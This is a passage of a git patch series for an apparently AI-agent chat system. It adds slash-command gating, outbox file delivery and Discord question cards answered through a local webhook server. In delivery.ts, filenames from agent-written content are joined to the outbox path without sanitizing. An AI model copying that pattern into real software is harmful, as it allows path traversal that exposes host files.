b/src/session-manager.ts index 4048cfb..4498198 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -108,11 +108,23 @@ export function writeSessionMessage( db.pragma('journal_mode = DELETE'); try { + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; db.prepare( - `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) - VALUES (@id, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, + `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) + VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, ).run({ id: message.id, + seq: nextSeq, kind: message.kind, timestamp: message.timestamp, platformId: message.platformId ?? null, From c348fabf22edd459554247d309b6b4d8e74ea04b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 02:59:33 +0300 Subject: [PATCH 076/485] v2 phase 5: scheduling fixes, media handling, command processing - Host sweep: fix DELETE journal mode, busy_timeout, seq in recurrence INSERT - Outbound files: delivery reads from outbox dir, passes buffers to adapter, cleans up after delivery. Chat SDK bridge sends files via postMessage. - Inbound attachments: formatter includes attachment info in prompts - Commands: categorize /commands as admin, filtered, or passthrough. Admin commands check sender against NANOCLAW_ADMIN_USER_ID. Filtered commands silently dropped. Passthrough sent raw to agent. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 64 ++++++++++++- container/agent-runner/src/poll-loop.ts | 117 ++++++++++++++++++++++-- src/channels/adapter.ts | 7 ++ src/channels/chat-sdk-bridge.ts | 64 +++++++------ src/delivery.ts | 31 ++++++- src/host-sweep.ts | 22 ++++- src/index-v2.ts | 4 +- 7 files changed, 266 insertions(+), 43 deletions(-) diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index ce48030..7324f1b 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -1,5 +1,51 @@ import type { MessageInRow } from './db/messages-in.js'; +/** + * Command categories for messages starting with '/'. + * - admin: requires NANOCLAW_ADMIN_USER_ID check + * - filtered: silently drop (mark completed without processing) + * - passthrough: pass raw to the agent (no XML wrapping) + * - none: not a command — format normally + */ +export type CommandCategory = 'admin' | 'filtered' | 'passthrough' | 'none'; + +const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact']); +const FILTERED_COMMANDS = new Set(['/help', '/login', '/logout', '/doctor', '/config']); + +export interface CommandInfo { + category: CommandCategory; + command: string; // the command name (e.g., '/clear') + text: string; // full original text + senderId: string | null; +} + +/** + * Categorize a message as a command or not. + * Only applies to chat/chat-sdk messages. + */ +export function categorizeMessage(msg: MessageInRow): CommandInfo { + const content = parseContent(msg.content); + const text = (content.text || '').trim(); + const senderId = content.senderId || content.author?.userId || null; + + if (!text.startsWith('/')) { + return { category: 'none', command: '', text, senderId }; + } + + // Extract the command name (e.g., '/clear' from '/clear some args') + const command = text.split(/\s/)[0].toLowerCase(); + + if (ADMIN_COMMANDS.has(command)) { + return { category: 'admin', command, text, senderId }; + } + + if (FILTERED_COMMANDS.has(command)) { + return { category: 'filtered', command, text, senderId }; + } + + return { category: 'passthrough', command, text, senderId }; +} + /** * Routing context extracted from messages_in rows. * Copied to messages_out by default so responses go back to the sender. @@ -68,7 +114,8 @@ function formatChatMessages(messages: MessageInRow[]): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - lines.push(`${escapeXml(text)}`); + const attachmentsSuffix = formatAttachments(content.attachments); + lines.push(`${escapeXml(text)}${attachmentsSuffix}`); } lines.push(''); return lines.join('\n'); @@ -80,7 +127,8 @@ function formatSingleChat(msg: MessageInRow): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - return `${escapeXml(text)}`; + const attachmentsSuffix = formatAttachments(content.attachments); + return `${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { @@ -105,6 +153,18 @@ function formatSystemMessage(msg: MessageInRow): string { return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; } +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function formatAttachments(attachments: any[] | undefined): string { + if (!Array.isArray(attachments) || attachments.length === 0) return ''; + const parts = attachments.map((a) => { + const name = a.name || a.filename || 'attachment'; + const type = a.type || 'file'; + const url = a.url || ''; + return url ? `[${type}: ${escapeXml(name)} (${escapeXml(url)})]` : `[${type}: ${escapeXml(name)}]`; + }); + return '\n' + parts.join('\n'); +} + // eslint-disable-next-line @typescript-eslint/no-explicit-any function parseContent(json: string): any { try { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 8ae1238..aca3766 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,6 +1,6 @@ -import { getPendingMessages, markProcessing, markCompleted, touchProcessing } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, touchProcessing, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; -import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; +import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; const POLL_INTERVAL_MS = 1000; @@ -50,9 +50,69 @@ export async function runPollLoop(config: PollLoopConfig): Promise { markProcessing(ids); const routing = extractRouting(messages); - const prompt = formatMessages(messages); - log(`Processing ${messages.length} message(s), kinds: ${[...new Set(messages.map((m) => m.kind))].join(',')}`); + // Handle commands: categorize chat messages + const adminUserId = config.env.NANOCLAW_ADMIN_USER_ID; + const normalMessages = []; + const commandIds: string[] = []; + + for (const msg of messages) { + if (msg.kind !== 'chat' && msg.kind !== 'chat-sdk') { + normalMessages.push(msg); + continue; + } + + const cmdInfo = categorizeMessage(msg); + + if (cmdInfo.category === 'filtered') { + // Silently drop — mark completed, don't process + log(`Filtered command: ${cmdInfo.command} (msg: ${msg.id})`); + commandIds.push(msg.id); + continue; + } + + if (cmdInfo.category === 'admin') { + if (!adminUserId || cmdInfo.senderId !== adminUserId) { + // Not admin — send error, mark completed + log(`Admin command denied: ${cmdInfo.command} from ${cmdInfo.senderId} (msg: ${msg.id})`); + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: `Permission denied: ${cmdInfo.command} requires admin access.` }), + }); + commandIds.push(msg.id); + continue; + } + // Admin user — format as system command + normalMessages.push(msg); + continue; + } + + // passthrough or none + normalMessages.push(msg); + } + + // Mark filtered/denied command messages as completed immediately + if (commandIds.length > 0) { + markCompleted(commandIds); + } + + // If all messages were filtered commands, skip processing + if (normalMessages.length === 0) { + // Mark remaining processing IDs as completed + const remainingIds = ids.filter((id) => !commandIds.includes(id)); + if (remainingIds.length > 0) markCompleted(remainingIds); + log(`All ${messages.length} message(s) were commands, skipping query`); + continue; + } + + // Format messages: passthrough commands get raw text, others get XML + const prompt = formatMessagesWithCommands(normalMessages); + + log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); // Set routing context as env vars for MCP tools setRoutingEnv(routing, config.env); @@ -69,8 +129,9 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); // Process the query while concurrently polling for new messages + const processingIds = ids.filter((id) => !commandIds.includes(id)); try { - const result = await processQuery(query, routing, config, ids); + const result = await processQuery(query, routing, config, processingIds); if (result.sessionId) sessionId = result.sessionId; if (result.resumeAt) resumeAt = result.resumeAt; } catch (err) { @@ -86,11 +147,55 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); } - markCompleted(ids); + markCompleted(processingIds); log(`Completed ${ids.length} message(s)`); } } +/** + * Format messages, handling passthrough commands differently. + * Passthrough commands (e.g., /foo) are sent raw (no XML wrapping). + * Admin commands from authorized users are formatted as system commands. + * Normal messages get standard XML formatting. + */ +function formatMessagesWithCommands(messages: MessageInRow[]): string { + // Check if any message is a passthrough command + const parts: string[] = []; + const normalBatch: MessageInRow[] = []; + + for (const msg of messages) { + if (msg.kind === 'chat' || msg.kind === 'chat-sdk') { + const cmdInfo = categorizeMessage(msg); + if (cmdInfo.category === 'passthrough') { + // Flush normal batch first + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + normalBatch.length = 0; + } + // Pass raw command text (no XML wrapping) + parts.push(cmdInfo.text); + continue; + } + if (cmdInfo.category === 'admin') { + // Format admin command as a system command block + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + normalBatch.length = 0; + } + parts.push(`[SYSTEM COMMAND: ${cmdInfo.command}]\n${cmdInfo.text}`); + continue; + } + } + normalBatch.push(msg); + } + + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + } + + return parts.join('\n\n'); +} + interface QueryResult { sessionId?: string; resumeAt?: string; diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 0bd5edd..56eb8f0 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -34,10 +34,17 @@ export interface InboundMessage { timestamp: string; } +/** A file attachment to deliver alongside a message. */ +export interface OutboundFile { + filename: string; + data: Buffer; +} + /** Outbound message from host to adapter. */ export interface OutboundMessage { kind: string; content: unknown; // parsed JSON from messages_out + files?: OutboundFile[]; // file attachments from the session outbox } /** Discovered conversation info (from syncConversations). */ diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 50b6f27..853e2c4 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -104,31 +104,33 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil let listenerPromise: Promise | undefined; - adapter - .startGatewayListener!( - { waitUntil: (p: Promise) => { listenerPromise = p; } }, - 24 * 60 * 60 * 1000, - gatewayAbort!.signal, - ) - .then(() => { - // startGatewayListener resolves immediately with a Response; - // the actual work is in the listenerPromise passed to waitUntil - if (listenerPromise) { - listenerPromise - .then(() => { - if (!gatewayAbort?.signal.aborted) { - log.info('Gateway listener expired, restarting', { adapter: adapter.name }); - startGateway(); - } - }) - .catch((err) => { - if (!gatewayAbort?.signal.aborted) { - log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); - setTimeout(startGateway, 5000); - } - }); - } - }); + adapter.startGatewayListener!( + { + waitUntil: (p: Promise) => { + listenerPromise = p; + }, + }, + 24 * 60 * 60 * 1000, + gatewayAbort!.signal, + ).then(() => { + // startGatewayListener resolves immediately with a Response; + // the actual work is in the listenerPromise passed to waitUntil + if (listenerPromise) { + listenerPromise + .then(() => { + if (!gatewayAbort?.signal.aborted) { + log.info('Gateway listener expired, restarting', { adapter: adapter.name }); + startGateway(); + } + }) + .catch((err) => { + if (!gatewayAbort?.signal.aborted) { + log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); + setTimeout(startGateway, 5000); + } + }); + } + }); }; startGateway(); log.info('Gateway listener started', { adapter: adapter.name }); @@ -156,7 +158,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { - await adapter.postMessage(tid, { markdown: text }); + // Attach files if present (FileUpload format: { data, filename }) + const fileUploads = message.files?.map((f) => ({ data: f.data, filename: f.filename })); + if (fileUploads && fileUploads.length > 0) { + await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + } else { + await adapter.postMessage(tid, { markdown: text }); + } + } else if (message.files && message.files.length > 0) { + // Files only, no text + const fileUploads = message.files.map((f) => ({ data: f.data, filename: f.filename })); + await adapter.postMessage(tid, { markdown: '', files: fileUploads }); } }, diff --git a/src/delivery.ts b/src/delivery.ts index b66c9c2..246e67c 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -3,12 +3,15 @@ * Polls active session DBs for undelivered messages_out, delivers through channel adapters. */ import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; import { getRunningSessions, getActiveSessions } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { openSessionDb, sessionDir } from './session-manager.js'; import { resetContainerIdleTimer } from './container-runner-v2.js'; +import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types-v2.js'; const ACTIVE_POLL_MS = 1000; @@ -21,6 +24,7 @@ export interface ChannelDeliveryAdapter { threadId: string | null, kind: string, content: string, + files?: OutboundFile[], ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -159,8 +163,29 @@ async function deliverMessage( return; } - await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content); - log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id }); + // Read file attachments from outbox if the content declares files + let files: OutboundFile[] | undefined; + const outboxDir = path.join(sessionDir(session.agent_group_id, session.id), 'outbox', msg.id); + if (Array.isArray(content.files) && content.files.length > 0 && fs.existsSync(outboxDir)) { + files = []; + for (const filename of content.files as string[]) { + const filePath = path.join(outboxDir, filename); + if (fs.existsSync(filePath)) { + files.push({ filename, data: fs.readFileSync(filePath) }); + } else { + log.warn('Outbox file not found', { messageId: msg.id, filename }); + } + } + if (files.length === 0) files = undefined; + } + + await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); + log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, fileCount: files?.length }); + + // Clean up outbox directory after successful delivery + if (fs.existsSync(outboxDir)) { + fs.rmSync(outboxDir, { recursive: true, force: true }); + } } export function stopDeliveryPolls(): void { diff --git a/src/host-sweep.ts b/src/host-sweep.ts index bcc4666..0c8ca41 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -58,7 +58,8 @@ async function sweepSession(session: Session): Promise { let db: Database.Database; try { db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); } catch { return; } @@ -125,10 +126,23 @@ async function sweepSession(session: Session): Promise { const nextRun = interval.next().toISOString(); const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + // Compute next seq from both tables (same pattern as session-manager.ts) + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; + db.prepare( - `INSERT INTO messages_in (id, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) - VALUES (?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ).run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); // Remove recurrence from the completed message so it doesn't spawn again db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/index-v2.ts b/src/index-v2.ts index e4d6ec4..eca93f6 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -68,13 +68,13 @@ async function main(): Promise { // 4. Delivery adapter bridge — dispatches to channel adapters setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content) { + async deliver(channelType, platformId, threadId, kind, content, files) { const adapter = getChannelAdapter(channelType); if (!adapter) { log.warn('No adapter for channel type', { channelType }); return; } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, async setTyping(channelType, platformId, threadId) { const adapter = getChannelAdapter(channelType); From c31bb02c06c8d767fe2c99fc95d0d17806483408 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 03:26:16 +0300 Subject: [PATCH 077/485] v2 phase 5: pending questions with interactive cards End-to-end ask_user_question flow: - Agent MCP tool writes question card to messages_out - Host delivery creates pending_questions row, delivers as Discord Card with buttons - Local webhook server receives Gateway INTERACTION_CREATE events - Acknowledges interaction + updates card to show selected answer - Routes response back to session DB as system message - MCP tool poll picks up response and returns to agent Key fixes: - Poll loop now skips system messages (reserved for MCP tool responses) - Gateway listener uses webhookUrl forwarding mode for interaction support - Button custom_id encodes questionId + option text for self-contained routing Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/poll-loop.ts | 13 +- src/channels/adapter.ts | 3 + src/channels/channel-registry.test.ts | 2 + src/channels/chat-sdk-bridge.ts | 150 +++++++++++++++++++++++- src/channels/discord-v2.ts | 2 +- src/delivery.ts | 23 +++- src/index-v2.ts | 46 ++++++++ 7 files changed, 233 insertions(+), 6 deletions(-) diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index aca3766..474be8b 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -38,8 +38,16 @@ export async function runPollLoop(config: PollLoopConfig): Promise { let sessionId: string | undefined; let resumeAt: string | undefined; + let pollCount = 0; while (true) { - const messages = getPendingMessages(); + // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) + const messages = getPendingMessages().filter((m) => m.kind !== 'system'); + pollCount++; + + // Periodic heartbeat so we know the loop is alive + if (pollCount % 30 === 0) { + log(`Poll heartbeat (${pollCount} iterations, ${messages.length} pending)`); + } if (messages.length === 0) { await sleep(POLL_INTERVAL_MS); @@ -210,7 +218,8 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: const pollHandle = setInterval(() => { if (done) return; - const newMessages = getPendingMessages(); + // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) + const newMessages = getPendingMessages().filter((m) => m.kind !== 'system'); if (newMessages.length > 0) { const newIds = newMessages.map((m) => m.id); markProcessing(newIds); diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 56eb8f0..615c28e 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -24,6 +24,9 @@ export interface ChannelSetup { /** Called when the adapter discovers metadata about a conversation. */ onMetadata(platformId: string, name?: string, isGroup?: boolean): void; + + /** Called when a user clicks a button/action in a card (e.g., ask_user_question response). */ + onAction(questionId: string, selectedOption: string, userId: string): void; } /** Inbound message from adapter to host. */ diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index d78761b..1903791 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -103,6 +103,7 @@ describe('channel registry', () => { conversations: [], onInbound: () => {}, onMetadata: () => {}, + onAction: () => {}, })); // Should not have any active adapters for channels with null factory returns @@ -205,6 +206,7 @@ describe('channel + router integration', () => { conversations: [], onInbound: () => {}, onMetadata: () => {}, + onAction: () => {}, })); // Set up delivery adapter bridge (same pattern as index-v2.ts) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 853e2c4..e3f486b 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -4,7 +4,9 @@ * * Used by Discord, Slack, and other Chat SDK-supported platforms. */ -import { Chat, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; +import http from 'http'; + +import { Chat, Card, CardText, Actions, Button, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; import { createMemoryState } from '@chat-adapter/state-memory'; import { log } from '../log.js'; @@ -16,12 +18,15 @@ interface GatewayAdapter extends Adapter { options: { waitUntil?: (task: Promise) => void }, durationMs?: number, abortSignal?: AbortSignal, + webhookUrl?: string, ): Promise; } export interface ChatSdkBridgeConfig { adapter: GatewayAdapter; concurrency?: ConcurrencyStrategy; + /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ + botToken?: string; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -87,6 +92,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await thread.subscribe(); }); + // Handle button clicks (ask_user_question responses) + chat.onAction(async (event) => { + if (!event.actionId.startsWith('ncq:')) return; + const parts = event.actionId.split(':'); + if (parts.length < 3) return; + const questionId = parts[1]; + const selectedOption = event.value || ''; + const userId = event.user?.userId || ''; + setupConfig.onAction(questionId, selectedOption, userId); + }); + await chat.initialize(); // Subscribe registered conversations (after initialize connects state) @@ -100,6 +116,10 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Start Gateway listener for adapters that support it (e.g., Discord) if (adapter.startGatewayListener) { gatewayAbort = new AbortController(); + + // Start local HTTP server to receive forwarded Gateway events (including interactions) + const webhookUrl = await startLocalWebhookServer(adapter, setupConfig, config.botToken); + const startGateway = () => { if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil @@ -112,6 +132,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, 24 * 60 * 60 * 1000, gatewayAbort!.signal, + webhookUrl, ).then(() => { // startGatewayListener resolves immediately with a Response; // the actual work is in the listenerPromise passed to waitUntil @@ -155,6 +176,25 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return; } + // Ask question card — render as Card with buttons + if (content.type === 'ask_question' && content.questionId && content.options) { + const questionId = content.questionId as string; + const options = content.options as string[]; + const card = Card({ + title: '❓ Question', + children: [ + CardText(content.question as string), + Actions( + options.map((opt) => + Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }), + ), + ), + ], + }); + await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); + return; + } + // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { @@ -199,3 +239,111 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, }; } + +/** + * Start a local HTTP server to receive forwarded Gateway events. + * This is needed because the Gateway listener in webhook-forwarding mode + * sends ALL raw events (including INTERACTION_CREATE for button clicks) + * to the webhookUrl, which we handle here. + */ +function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { + return new Promise((resolve) => { + const server = http.createServer((req, res) => { + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('end', () => { + const body = Buffer.concat(chunks).toString(); + handleForwardedEvent(body, adapter, setupConfig, botToken) + .then(() => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"ok":true}'); + }) + .catch((err) => { + log.error('Webhook server error', { err }); + res.writeHead(500); + res.end('{"error":"internal"}'); + }); + }); + }); + + server.listen(0, '127.0.0.1', () => { + const addr = server.address() as { port: number }; + const url = `http://127.0.0.1:${addr.port}/webhook`; + log.info('Local webhook server started', { port: addr.port }); + resolve(url); + }); + }); +} + +async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { + let event: { type: string; data: Record }; + try { + event = JSON.parse(body); + } catch { + return; + } + + // Handle interaction events (button clicks) — not handled by adapter's handleForwardedGatewayEvent + if (event.type === 'GATEWAY_INTERACTION_CREATE' && event.data) { + const interaction = event.data; + // type 3 = MessageComponent (button/select) + if (interaction.type === 3) { + const customId = (interaction.data as Record)?.custom_id as string; + const user = (interaction.member as Record)?.user as Record | undefined; + const interactionId = interaction.id as string; + const interactionToken = interaction.token as string; + + // Parse the selected option from custom_id + let questionId: string | undefined; + let selectedOption: string | undefined; + if (customId?.startsWith('ncq:')) { + const colonIdx = customId.indexOf(':', 4); // after "ncq:" + if (colonIdx !== -1) { + questionId = customId.slice(4, colonIdx); + selectedOption = customId.slice(colonIdx + 1); + } + } + + // Update the card to show the selected answer and remove buttons + const originalEmbeds = ((interaction.message as Record)?.embeds as Array>) || []; + const originalDescription = (originalEmbeds[0]?.description as string) || ''; + try { + await fetch(`https://discord.com/api/v10/interactions/${interactionId}/${interactionToken}/callback`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + type: 7, // UPDATE_MESSAGE — acknowledge + update in one call + data: { + embeds: [ + { + title: '❓ Question', + description: `${originalDescription}\n\n✅ **${selectedOption || customId}**`, + }, + ], + components: [], // remove buttons + }, + }), + }); + } catch (err) { + log.error('Failed to update interaction', { err }); + } + + // Dispatch to host + if (questionId && selectedOption) { + setupConfig.onAction(questionId, selectedOption, user?.id || ''); + } + return; + } + } + + // Forward other events to the adapter's webhook handler for normal processing + const fakeRequest = new Request('http://localhost/webhook', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'x-discord-gateway-token': botToken || '', + }, + body, + }); + await adapter.handleWebhook(fakeRequest, {}); +} diff --git a/src/channels/discord-v2.ts b/src/channels/discord-v2.ts index 5eb32ed..01ed4c5 100644 --- a/src/channels/discord-v2.ts +++ b/src/channels/discord-v2.ts @@ -17,6 +17,6 @@ registerChannelAdapter('discord', { publicKey: env.DISCORD_PUBLIC_KEY, applicationId: env.DISCORD_APPLICATION_ID, }); - return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN }); }, }); diff --git a/src/delivery.ts b/src/delivery.ts index 246e67c..8d1c268 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -6,7 +6,7 @@ import Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; -import { getRunningSessions, getActiveSessions } from './db/sessions.js'; +import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDir } from './session-manager.js'; @@ -157,6 +157,20 @@ async function deliverMessage( return; } + // Track pending questions for ask_user_question flow + if (content.type === 'ask_question' && content.questionId) { + createPendingQuestion({ + question_id: content.questionId, + session_id: session.id, + message_out_id: msg.id, + platform_id: msg.platform_id, + channel_type: msg.channel_type, + thread_id: msg.thread_id, + created_at: new Date().toISOString(), + }); + log.info('Pending question created', { questionId: content.questionId, sessionId: session.id }); + } + // Channel delivery if (!msg.channel_type || !msg.platform_id) { log.warn('Message missing routing fields', { id: msg.id }); @@ -180,7 +194,12 @@ async function deliverMessage( } await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); - log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, fileCount: files?.length }); + log.info('Message delivered', { + id: msg.id, + channelType: msg.channel_type, + platformId: msg.platform_id, + fileCount: files?.length, + }); // Clean up outbox directory after successful delivery if (fs.existsSync(outboxDir)) { diff --git a/src/index-v2.ts b/src/index-v2.ts index eca93f6..a72540b 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -14,6 +14,9 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router-v2.js'; +import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner-v2.js'; import { log } from './log.js'; // Channel imports — each triggers self-registration @@ -63,6 +66,11 @@ async function main(): Promise { isGroup, }); }, + onAction(questionId, selectedOption, userId) { + handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { + log.error('Failed to handle question response', { questionId, err }); + }); + }, }; }); @@ -116,6 +124,44 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { return configs; } +/** Handle a user's response to an ask_user_question card. */ +async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + const pq = getPendingQuestion(questionId); + if (!pq) { + log.warn('Pending question not found (may have expired)', { questionId }); + return; + } + + const session = getSession(pq.session_id); + if (!session) { + log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); + deletePendingQuestion(questionId); + return; + } + + // Write the response to the session DB as a system message + writeSessionMessage(session.agent_group_id, session.id, { + id: `qr-${questionId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: pq.platform_id, + channelType: pq.channel_type, + threadId: pq.thread_id, + content: JSON.stringify({ + type: 'question_response', + questionId, + selectedOption, + userId, + }), + }); + + deletePendingQuestion(questionId); + log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); + + // Wake the container so the MCP tool's poll picks up the response + await wakeContainer(session); +} + /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); From 8a06b01646bd12566e320d0c1991ca2ddf9eb510 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 03:58:35 +0300 Subject: [PATCH 078/485] v2: SQLite state adapter, admin commands, 